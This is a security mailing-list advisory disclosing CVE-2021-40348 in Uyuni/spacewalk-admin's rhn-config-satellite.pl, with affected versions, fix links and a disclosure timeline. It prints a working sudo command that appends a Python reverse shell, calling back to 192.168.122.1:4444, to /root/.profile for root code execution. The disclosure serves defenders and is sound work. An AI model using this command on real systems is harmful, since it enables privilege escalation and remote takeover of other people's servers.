Date: Thu, 28 Oct 2021 15:43:23 +0200
From: Paolo Perego <paolo.perego@...e.com>
To: oss-security@...ts.openwall.com
Subject: spacewalk-admin: CVE-2021-40348: arbitrary local code execution by
 'tomcat' user via rhn-config-satellite.pl

Description

Hello list, during an internal audit a vulnerability was found in a perl
script from the uyuni[1] component (previously known as spacewalk[2],
discontinued on March 31st 2020). Uyuni is a configuration and
infrastructure management tool helping sysadmin's in their tasks over a
huge multitude of assets.

The rhn-config-satellite.pl script is intended to be run by the 'tomcat'
user using sudo without any password, to adjust Uyuni configuration.

Due to a missing sanitization of the filename that can be used as config
file, a rogue 'tomcat' user can append arbitrary code to any files that
eventually will be executed later on by higher privileged users.

Please consider the following attack scenario. An attacker gains
'tomcat' user on the victim server. Rogue 'tomcat' executes the
following command:

```
sudo /usr/bin/rhn-config-satellite.pl --target=/root/.profile
--option="export RHOST=\"192.168.122.1\";export RPORT=4444;python -c
'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd)
for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"
```

The python code implementing a reverse shell is then appended to the
/root/.profile file and executed everytime root logs in. This results in
having arbitrary code execution with superuser privileges on the victim
system.

Affected versions

This vulnerability was fixed in spacewalk-admin version 4.3.2-1 [3] (by
this commit on upstream [4]). All spacewalk-admin versions before
4.3.2-1 are vulnerable

Timeline:

2021-08-30: vulnerability was reported to upstream authors

2021-08-31: upstream authors acknowledge the vulnerability start working
on the fix.

2021-08-31: received CVE from Mitre and offered authors an embargo until
2021-10-27

2021-10-27: authors published fixes for a product containing spacewalk
as component

2021-10-28: authors published fixes in upstream repository and
publication of findings

[1] https://github.com/uyuni-project/uyuni

[2] https://github.com/spacewalkproject/spacewalk

[3]
https://github.com/uyuni-project/uyuni/releases/tag/spacewalk-admin-4.3.2-1
[4]
https://github.com/uyuni-project/uyuni/commit/790c7388efac6923c5475e01c1ff718dffa9f052

https://bugzilla.suse.com/show_bug.cgi?id=1190040

--

(*_ Paolo Perego   @thesp0nge

//\ Software security engineer   suse.com

V_/_ 0A1A 2003 9AE0 B09C 51A4 7ACD FC0D CEA6 0806 294B

--
(*_ Paolo Perego   @thesp0nge
//\ Software security engineer   suse.com
V_/_ 0A1A 2003 9AE0 B09C 51A4 7ACD FC0D CEA6 0806 294B

Download attachment "OpenPGP_0xFC0DCEA60806294B.asc**" of type "**application/pgp-keys**" (4749 bytes)**